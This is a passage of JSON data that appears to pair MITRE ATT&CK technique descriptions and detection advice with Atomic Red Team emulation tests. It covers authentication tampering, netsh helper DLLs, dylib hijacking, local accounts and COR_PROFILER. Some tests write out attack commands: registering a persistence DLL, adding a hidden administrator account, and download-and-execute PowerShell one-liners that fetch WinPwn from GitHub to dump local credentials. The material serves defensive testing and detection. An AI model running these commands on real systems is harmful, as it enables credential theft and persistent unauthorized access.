- "description": "Adversaries may modify authentication mechanisms and processes to access user credentials or enable otherwise unwarranted access to accounts. The authentication process is handled by mechanisms, such as the Local Security Authentication Server (LSASS) process and the Security Accounts Manager (SAM) on Windows, pluggable authentication modules (PAM) on Unix-based systems, and authorization plugins on MacOS systems, responsible for gathering, storing, and validating credentials. By modifying an authentication process, an adversary may be able to authenticate to a service or system without using [Valid Accounts](https://attack.mitre.org/techniques/T1078).\n\nAdversaries may maliciously modify a part of this process to either reveal credentials or bypass authentication mechanisms. Compromised credentials or access may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "credential-access"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_detection": "Monitor for new, unfamiliar DLL files written to a domain controller and/or local computer. Monitor for changes to Registry entries for password filters (ex: HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Notification Packages
) and correlate then investigate the DLL files these files reference. \n\nPassword filters will also show up as an autorun and loaded DLL in lsass.exe.(Citation: Clymb3r Function Hook Passwords Sept 2013)\n\nMonitor for calls to OpenProcess
that can be used to manipulate lsass.exe running on a domain controller as well as for malicious modifications to functions exported from authentication-related system DLLs (such as cryptdll.dll and samsrv.dll).(Citation: Dell Skeleton) \n\nMonitor PAM configuration and module paths (ex: /etc/pam.d/
) for changes. Use system-integrity tools such as AIDE and monitoring tools such as auditd to monitor PAM files.\n\nMonitor for suspicious additions to the /Library/Security/SecurityAgentPlugins directory.(Citation: Xorrior Authorization Plugins)\n\nConfigure robust, consistent account activity audit policies across the enterprise and with externally accessible services. (Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).\n\nMonitor property changes in Group Policy that manage authentication mechanisms (i.e. [Group Policy Modification](https://attack.mitre.org/techniques/T1484/001)). The Store passwords using reversible encryption
configuration should be set to Disabled. Additionally, monitor and/or block suspicious command/script execution of -AllowReversiblePasswordEncryption $true
, Set-ADUser
and Set-ADAccountControl
. Finally, monitor Fine-Grained Password Policies and regularly audit user accounts and group settings.(Citation: dump_pwd_dcsync)\n",
- "x_mitre_version": "2.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "File: File Modification",
- "Logon Session: Logon Session Creation",
- "File: File Creation",
- "Process: OS API Execution",
- "Process: Process Access",
- "Windows Registry: Windows Registry Key Modification",
- "Module: Module Load"
- ]
- },
- "atomic_tests": []
- },
- "T1546.007": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Matthew Demaske, Adaptforward"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--f63fe421-b1d1-45c0-b8a7-02cd16ff2bed",
- "created": "2020-01-24T14:26:51.207Z",
- "x_mitre_version": "1.0",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1546.007",
- "url": "https://attack.mitre.org/techniques/T1546/007"
- },
- {
- "source_name": "Demaske Netsh Persistence",
- "url": "https://htmlpreview.github.io/?https://github.com/MatthewDemaske/blogbackup/blob/master/netshell.html",
- "description": "Demaske, M. (2016, September 23). USING NETSHELL TO EXECUTE EVIL DLLS AND PERSIST ON A HOST. Retrieved April 8, 2017."
- },
- {
- "source_name": "TechNet Netsh",
- "url": "https://technet.microsoft.com/library/bb490939.aspx",
- "description": "Microsoft. (n.d.). Using Netsh. Retrieved February 13, 2017."
- },
- {
- "source_name": "Github Netsh Helper CS Beacon",
- "url": "https://github.com/outflankbv/NetshHelperBeacon",
- "description": "Smeets, M. (2016, September 26). NetshHelperBeacon. Retrieved February 13, 2017."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may establish persistence by executing malicious content triggered by Netsh Helper DLLs. Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility.(Citation: TechNet Netsh) The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at HKLM\\SOFTWARE\\Microsoft\\Netsh
.\n\nAdversaries can use netsh.exe helper DLLs to trigger execution of arbitrary code in a persistent manner. This execution would take place anytime netsh.exe is executed, which could happen automatically, with another persistence technique, or if other software (ex: VPN) is present on the system that executes netsh.exe as part of its normal functionality.(Citation: Github Netsh Helper CS Beacon)(Citation: Demaske Netsh Persistence)",
- "modified": "2022-04-20T17:09:17.363Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Event Triggered Execution: Netsh Helper DLL",
- "x_mitre_detection": "It is likely unusual for netsh.exe to have any child processes in most environments. Monitor process executions and investigate any child processes spawned by netsh.exe for malicious behavior. Monitor the HKLM\\SOFTWARE\\Microsoft\\Netsh
registry key for any new or suspicious entries that do not correlate with known system files or benign software.(Citation: Demaske Netsh Persistence)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "Command: Command Execution",
- "Module: Module Load",
- "Process: Process Creation",
- "Windows Registry: Windows Registry Key Modification"
- ],
- "x_mitre_permissions_required": [
- "Administrator",
- "SYSTEM"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1546.007"
- },
- "atomic_tests": [
- {
- "name": "Netsh Helper DLL Registration",
- "auto_generated_guid": "3244697d-5a3a-4dfc-941c-550f69f91a4d",
- "description": "You can register a \"helper dll\" with Netsh as a persistance mechanism. The code in the dll is executed every time netsh.exe is called.\nThe NetshHelper.dll provided with the atomic will simply launch notepad when netsh.exe is run.\n\n[Blog](https://htmlpreview.github.io/?https://github.com/MatthewDemaske/blogbackup/blob/master/netshell.html)\n[Sample DLL code](https://github.com/outflanknl/NetshHelperBeacon)\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "helper_file": {
- "description": "Path to DLL",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1546.007\\bin\\NetshHelper.dll"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Helper DLL must exist on disk at specified location (#{helper_file})\n",
- "prereq_command": "if (Test-Path \"#{helper_file}\") { exit 0} else { exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path #{helper_file}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.007/bin/NetshHelper.dll\" -OutFile \"#{helper_file}\"\n"
- }
- ],
- "executor": {
- "command": "netsh.exe add helper #{helper_file}\ntaskkill /im notepad.exe /t /f > NUL 2>&1\n",
- "cleanup_command": "netsh.exe delete helper #{helper_file}\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- }
- ]
- },
- "T1505.001": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "Linux"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Carlos Borges, @huntingneo, CIP",
- "Lucas da Silva Pereira, @vulcanunsec, CIP",
- "Kaspersky"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--f9e9365a-9ca2-4d9c-8e7c-050d73d1101a",
- "type": "attack-pattern",
- "created": "2019-12-12T14:59:58.168Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1505.001",
- "url": "https://attack.mitre.org/techniques/T1505/001"
- },
- {
- "source_name": "NetSPI Startup Stored Procedures",
- "url": "https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/",
- "description": "Sutherland, S. (2016, March 7). Maintaining Persistence via SQL Server \u2013 Part 1: Startup Stored Procedures. Retrieved July 8, 2019."
- },
- {
- "source_name": "Kaspersky MSSQL Aug 2019",
- "url": "https://securelist.com/malicious-tasks-in-ms-sql-server/92167/",
- "description": "Plakhov, A., Sitchikhin, D. (2019, August 22). Agent 1433: remote attack on Microsoft SQL Server. Retrieved September 4, 2019."
- },
- {
- "source_name": "Microsoft xp_cmdshell 2017",
- "url": "https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/xp-cmdshell-transact-sql?view=sql-server-2017",
- "description": "Microsoft. (2017, March 15). xp_cmdshell (Transact-SQL). Retrieved September 9, 2019."
- },
- {
- "source_name": "Microsoft CLR Integration 2017",
- "url": "https://docs.microsoft.com/en-us/sql/relational-databases/clr-integration/common-language-runtime-integration-overview?view=sql-server-2017",
- "description": "Microsoft. (2017, June 19). Common Language Runtime Integration. Retrieved July 8, 2019."
- },
- {
- "source_name": "NetSPI SQL Server CLR",
- "url": "https://blog.netspi.com/attacking-sql-server-clr-assemblies/",
- "description": "Sutherland, S. (2017, July 13). Attacking SQL Server CLR Assemblies. Retrieved July 8, 2019."
- }
- ],
- "modified": "2020-03-25T23:30:20.638Z",
- "name": "SQL Stored Procedures",
- "description": "Adversaries may abuse SQL stored procedures to establish persistent access to systems. SQL Stored Procedures are code that can be saved and reused so that database users do not waste time rewriting frequently used SQL queries. Stored procedures can be invoked via SQL statements to the database using the procedure name or via defined events (e.g. when a SQL server application is started/restarted).\n\nAdversaries may craft malicious stored procedures that can provide a persistence mechanism in SQL database servers.(Citation: NetSPI Startup Stored Procedures)(Citation: Kaspersky MSSQL Aug 2019) To execute operating system commands through SQL syntax the adversary may have to enable additional functionality, such as xp_cmdshell for MSSQL Server.(Citation: NetSPI Startup Stored Procedures)(Citation: Kaspersky MSSQL Aug 2019)(Citation: Microsoft xp_cmdshell 2017) \n\nMicrosoft SQL Server can enable common language runtime (CLR) integration. With CLR integration enabled, application developers can write stored procedures using any .NET framework language (e.g. VB .NET, C#, etc.).(Citation: Microsoft CLR Integration 2017) Adversaries may craft or modify CLR assemblies that are linked to stored procedures since these CLR assemblies can be made to execute arbitrary commands.(Citation: NetSPI SQL Server CLR) ",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_detection": "On a MSSQL Server, consider monitoring for xp_cmdshell usage.(Citation: NetSPI Startup Stored Procedures) Consider enabling audit features that can log malicious startup activities.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Application Log: Application Log Content"
- ],
- "x_mitre_permissions_required": [
- "Administrator",
- "SYSTEM",
- "root"
- ]
- },
- "atomic_tests": []
- },
- "T1556.004": {
- "technique": {
- "x_mitre_platforms": [
- "Network"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--fa44a152-ac48-441e-a524-dd7b04b8adcd",
- "type": "attack-pattern",
- "created": "2020-10-19T17:58:04.155Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1556.004",
- "url": "https://attack.mitre.org/techniques/T1556/004"
- },
- {
- "source_name": "Mandiant - Synful Knock",
- "url": "https://www.mandiant.com/resources/synful-knock-acis",
- "description": "Bill Hau, Tony Lee, Josh Homan. (2015, September 15). SYNful Knock - A Cisco router implant - Part I. Retrieved October 19, 2020."
- },
- {
- "source_name": "Cisco IOS Software Integrity Assurance - Image File Verification",
- "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#7",
- "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Image File Verification. Retrieved October 19, 2020."
- },
- {
- "source_name": "Cisco IOS Software Integrity Assurance - Run-Time Memory Verification",
- "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#13",
- "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Run-Time Memory Integrity Verification. Retrieved October 19, 2020."
- }
- ],
- "modified": "2021-12-14T23:14:26.107Z",
- "name": "Network Device Authentication",
- "description": "Adversaries may use [Patch System Image](https://attack.mitre.org/techniques/T1601/001) to hard code a password in the operating system, thus bypassing of native authentication mechanisms for local accounts on network devices.\n\n[Modify System Image](https://attack.mitre.org/techniques/T1601) may include implanted code to the operating system for network devices to provide access for adversaries using a specific password. The modification includes a specific password which is implanted in the operating system image via the patch. Upon authentication attempts, the inserted code will first check to see if the user input is the password. If so, access is granted. Otherwise, the implanted code will pass the credentials on for verification of potentially valid credentials.(Citation: Mandiant - Synful Knock)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "credential-access"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_detection": "Consider verifying the checksum of the operating system file and verifying the image of the operating system in memory.(Citation: Cisco IOS Software Integrity Assurance - Image File Verification)(Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification)\n\nDetection of this behavior may be difficult, detection efforts may be focused on closely related adversary behaviors, such as [Modify System Image](https://attack.mitre.org/techniques/T1601).",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "2.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "File: File Modification"
- ],
- "x_mitre_permissions_required": [
- "Administrator"
- ]
- },
- "atomic_tests": []
- },
- "T1574.004": {
- "technique": {
- "x_mitre_platforms": [
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--fc742192-19e3-466c-9eb5-964a97b29490",
- "created": "2020-03-16T15:23:30.896Z",
- "x_mitre_version": "2.0",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1574.004",
- "url": "https://attack.mitre.org/techniques/T1574/004"
- },
- {
- "source_name": "MalwareUnicorn macOS Dylib Injection MachO",
- "url": "https://malwareunicorn.org/workshops/macos_dylib_injection.html#5",
- "description": "Amanda Rousseau. (2020, April 4). MacOS Dylib Injection Workshop. Retrieved March 29, 2021."
- },
- {
- "source_name": "Apple Developer Doco Archive Run-Path",
- "url": "https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/RunpathDependentLibraries.html",
- "description": "Apple Inc.. (2012, July 7). Run-Path Dependent Libraries. Retrieved March 31, 2021."
- },
- {
- "source_name": "Wardle Dylib Hijacking OSX 2015",
- "url": "https://www.virusbulletin.com/uploads/pdf/magazine/2015/vb201503-dylib-hijacking.pdf",
- "description": "Patrick Wardle. (2015, March 1). Dylib Hijacking on OS X. Retrieved March 29, 2021."
- },
- {
- "source_name": "Writing Bad Malware for OSX",
- "url": "https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf",
- "description": "Patrick Wardle. (2015). Writing Bad @$$ Malware for OS X. Retrieved July 10, 2017."
- },
- {
- "source_name": "Wardle Dylib Hijack Vulnerable Apps",
- "url": "https://objective-see.com/blog/blog_0x46.html",
- "description": "Patrick Wardle. (2019, July 2). Getting Root with Benign AppStore Apps. Retrieved March 31, 2021."
- },
- {
- "source_name": "wardle artofmalware volume1",
- "url": "https://taomm.org/vol1/pdfs.html",
- "description": "Patrick Wardle. (2020, August 5). The Art of Mac Malware Volume 0x1: Analysis. Retrieved March 19, 2021."
- },
- {
- "source_name": "Github EmpireProject HijackScanner",
- "url": "https://github.com/EmpireProject/Empire/blob/master/lib/modules/python/situational_awareness/host/osx/HijackScanner.py",
- "description": "Wardle, P., Ross, C. (2017, September 21). Empire Project Dylib Hijack Vulnerability Scanner. Retrieved April 1, 2021."
- },
- {
- "source_name": "Github EmpireProject CreateHijacker Dylib",
- "url": "https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/lib/modules/python/persistence/osx/CreateHijacker.py",
- "description": "Wardle, P., Ross, C. (2018, April 8). EmpireProject Create Dylib Hijacker. Retrieved April 1, 2021."
- },
- {
- "url": "https://capec.mitre.org/data/definitions/471.html",
- "source_name": "capec",
- "external_id": "CAPEC-471"
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may execute their own payloads by placing a malicious dynamic library (dylib) with an expected name in a path a victim application searches at runtime. The dynamic loader will try to find the dylibs based on the sequential order of the search paths. Paths to dylibs may be prefixed with @rpath
, which allows developers to use relative paths to specify an array of search paths used at runtime based on the location of the executable. Additionally, if weak linking is used, such as the LC_LOAD_WEAK_DYLIB
function, an application will still execute even if an expected dylib is not present. Weak linking enables developers to run an application on multiple macOS versions as new APIs are added.\n\nAdversaries may gain execution by inserting malicious dylibs with the name of the missing dylib in the identified path.(Citation: Wardle Dylib Hijack Vulnerable Apps)(Citation: Wardle Dylib Hijacking OSX 2015)(Citation: Github EmpireProject HijackScanner)(Citation: Github EmpireProject CreateHijacker Dylib) Dylibs are loaded into an application's address space allowing the malicious dylib to inherit the application's privilege level and resources. Based on the application, this could result in privilege escalation and uninhibited network access. This method may also evade detection from security products since the execution is masked under a legitimate process.(Citation: Writing Bad Malware for OSX)(Citation: wardle artofmalware volume1)(Citation: MalwareUnicorn macOS Dylib Injection MachO)",
- "modified": "2022-05-05T04:08:30.203Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Dylib Hijacking",
- "x_mitre_detection": "Monitor file systems for moving, renaming, replacing, or modifying dylibs. Changes in the set of dylibs that are loaded by a process (compared to past behavior) that do not correlate with known software, patches, etc., are suspicious. Check the system for multiple dylibs with the same name and monitor which versions have historically been loaded into a process. \n\nRun path dependent libraries can include LC_LOAD_DYLIB
, LC_LOAD_WEAK_DYLIB
, and LC_RPATH
. Other special keywords are recognized by the macOS loader are @rpath
, @loader_path
, and @executable_path
.(Citation: Apple Developer Doco Archive Run-Path) These loader instructions can be examined for individual binaries or frameworks using the otool -l
command. Objective-See's Dylib Hijacking Scanner can be used to identify applications vulnerable to dylib hijacking.(Citation: Wardle Dylib Hijack Vulnerable Apps)(Citation: Github EmpireProject HijackScanner)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "Module: Module Load",
- "File: File Creation",
- "File: File Modification"
- ],
- "x_mitre_defense_bypassed": [
- "Application Control"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1078.003": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows",
- "Containers"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--fdc47f44-dd32-4b99-af5f-209f556f63c2",
- "type": "attack-pattern",
- "created": "2020-03-13T20:26:46.695Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1078.003",
- "url": "https://attack.mitre.org/techniques/T1078/003"
- }
- ],
- "modified": "2021-10-18T17:45:48.323Z",
- "name": "Valid Accounts: Local Accounts",
- "description": "Adversaries may obtain and abuse credentials of a local account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service.\n\nLocal Accounts may also be abused to elevate privileges and harvest credentials through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). Password reuse may allow the abuse of local accounts across a set of machines on a network for the purposes of Privilege Escalation and Lateral Movement. ",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "initial-access"
- }
- ],
- "x_mitre_detection": "Perform regular audits of local system accounts to detect accounts that may have been created by an adversary for persistence. Look for suspicious account behavior, such as accounts logged in at odd times or outside of business hours.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.2",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "User Account: User Account Authentication",
- "Logon Session: Logon Session Creation",
- "Logon Session: Logon Session Metadata"
- ],
- "x_mitre_permissions_required": [
- "Administrator",
- "User"
- ],
- "identifier": "T1078.003"
- },
- "atomic_tests": [
- {
- "name": "Create local account with admin privileges",
- "auto_generated_guid": "a524ce99-86de-4db6-b4f9-e08f35a47a15",
- "description": "After execution the new account will be active and added to the Administrators group",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "password": {
- "description": "Password for art-test user",
- "type": "string",
- "default": "-4RTisCool!-321"
- }
- },
- "executor": {
- "command": "net user art-test /add\nnet user art-test #{password}\nnet localgroup administrators art-test /add",
- "cleanup_command": "net localgroup administrators art-test /delete >nul 2>&1\nnet user art-test /delete >nul 2>&1",
- "name": "command_prompt",
- "elevation_required": true
- }
- },
- {
- "name": "WinPwn - Loot local Credentials - powerhell kittie",
- "auto_generated_guid": "9e9fd066-453d-442f-88c1-ad7911d32912",
- "description": "Loot local Credentials - powerhell kittie technique via function of WinPwn",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'\niex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nobfuskittiedump -consoleoutput -noninteractive",
- "name": "powershell",
- "elevation_required": true
- }
- },
- {
- "name": "WinPwn - Loot local Credentials - Safetykatz",
- "auto_generated_guid": "e9fdb899-a980-4ba4-934b-486ad22e22f4",
- "description": "Loot local Credentials - Safetykatz technique via function of WinPwn",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'\niex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nsafedump -consoleoutput -noninteractive",
- "name": "powershell",
- "elevation_required": true
- }
- }
- ]
- },
- "T1574.012": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Jesse Brown, Red Canary"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--ffeb0780-356e-4261-b036-cfb6bd234335",
- "type": "attack-pattern",
- "created": "2020-06-24T22:30:55.843Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1574.012",
- "url": "https://attack.mitre.org/techniques/T1574/012"
- },
- {
- "source_name": "Microsoft Profiling Mar 2017",
- "url": "https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/profiling/profiling-overview",
- "description": "Microsoft. (2017, March 30). Profiling Overview. Retrieved June 24, 2020."
- },
- {
- "source_name": "Microsoft COR_PROFILER Feb 2013",
- "url": "https://docs.microsoft.com/en-us/previous-versions/dotnet/netframework-4.0/ee471451(v=vs.100)",
- "description": "Microsoft. (2013, February 4). Registry-Free Profiler Startup and Attach. Retrieved June 24, 2020."
- },
- {
- "source_name": "RedCanary Mockingbird May 2020",
- "url": "https://redcanary.com/blog/blue-mockingbird-cryptominer/",
- "description": "Lambert, T. (2020, May 7). Introducing Blue Mockingbird. Retrieved May 26, 2020."
- },
- {
- "source_name": "Red Canary COR_PROFILER May 2020",
- "url": "https://redcanary.com/blog/cor_profiler-for-persistence/",
- "description": "Brown, J. (2020, May 7). Detecting COR_PROFILER manipulation for persistence. Retrieved June 24, 2020."
- },
- {
- "source_name": "Almond COR_PROFILER Apr 2019",
- "url": "https://offsec.almond.consulting/UAC-bypass-dotnet.html",
- "description": "Almond. (2019, April 30). UAC bypass via elevated .NET applications. Retrieved June 24, 2020."
- },
- {
- "source_name": "GitHub OmerYa Invisi-Shell",
- "url": "https://github.com/OmerYa/Invisi-Shell",
- "description": "Yair, O. (2019, August 19). Invisi-Shell. Retrieved June 24, 2020."
- },
- {
- "source_name": "subTee .NET Profilers May 2017",
- "url": "https://web.archive.org/web/20170720041203/http://subt0x10.blogspot.com/2017/05/subvert-clr-process-listing-with-net.html",
- "description": "Smith, C. (2017, May 18). Subvert CLR Process Listing With .NET Profilers. Retrieved June 24, 2020."
- }
- ],
- "modified": "2021-08-30T21:35:12.049Z",
- "name": "Hijack Execution Flow: COR_PROFILER",
- "description": "Adversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR. The COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET) profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR). These profilers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR.(Citation: Microsoft Profiling Mar 2017)(Citation: Microsoft COR_PROFILER Feb 2013)\n\nThe COR_PROFILER environment variable can be set at various scopes (system, user, or process) resulting in different levels of influence. System and user-wide environment variable scopes are specified in the Registry, where a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) object can be registered as a profiler DLL. A process scope COR_PROFILER can also be created in-memory without modifying the Registry. Starting with .NET Framework 4, the profiling DLL does not need to be registered as long as the location of the DLL is specified in the COR_PROFILER_PATH environment variable.(Citation: Microsoft COR_PROFILER Feb 2013)\n\nAdversaries may abuse COR_PROFILER to establish persistence that executes a malicious DLL in the context of all .NET processes every time the CLR is invoked. The COR_PROFILER can also be used to elevate privileges (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)) if the victim .NET process executes at a higher permission level, as well as to hook and [Impair Defenses](https://attack.mitre.org/techniques/T1562) provided by .NET processes.(Citation: RedCanary Mockingbird May 2020)(Citation: Red Canary COR_PROFILER May 2020)(Citation: Almond COR_PROFILER Apr 2019)(Citation: GitHub OmerYa Invisi-Shell)(Citation: subTee .NET Profilers May 2017)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_detection": "For detecting system and user scope abuse of the COR_PROFILER, monitor the Registry for changes to COR_ENABLE_PROFILING, COR_PROFILER, and COR_PROFILER_PATH that correspond to system and user environment variables that do not correlate to known developer tools. Extra scrutiny should be placed on suspicious modification of these Registry keys by command line tools like wmic.exe, setx.exe, and [Reg](https://attack.mitre.org/software/S0075), monitoring for command-line arguments indicating a change to COR_PROFILER variables may aid in detection. For system, user, and process scope abuse of the COR_PROFILER, monitor for new suspicious unmanaged profiling DLLs loading into .NET processes shortly after the CLR causing abnormal process behavior.(Citation: Red Canary COR_PROFILER May 2020) Consider monitoring for DLL files that are associated with COR_PROFILER environment variables.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Windows Registry: Windows Registry Key Modification",
- "Command: Command Execution",
- "Process: Process Creation",
- "Module: Module Load"
- ],
- "x_mitre_permissions_required": [
- "User",
- "Administrator"
- ],
- "identifier": "T1574.012"
- },
- "atomic_tests": [
- {
- "name": "User scope COR_PROFILER",
- "auto_generated_guid": "9d5f89dc-c3a5-4f8a-a4fc-a6ed02e7cb5a",
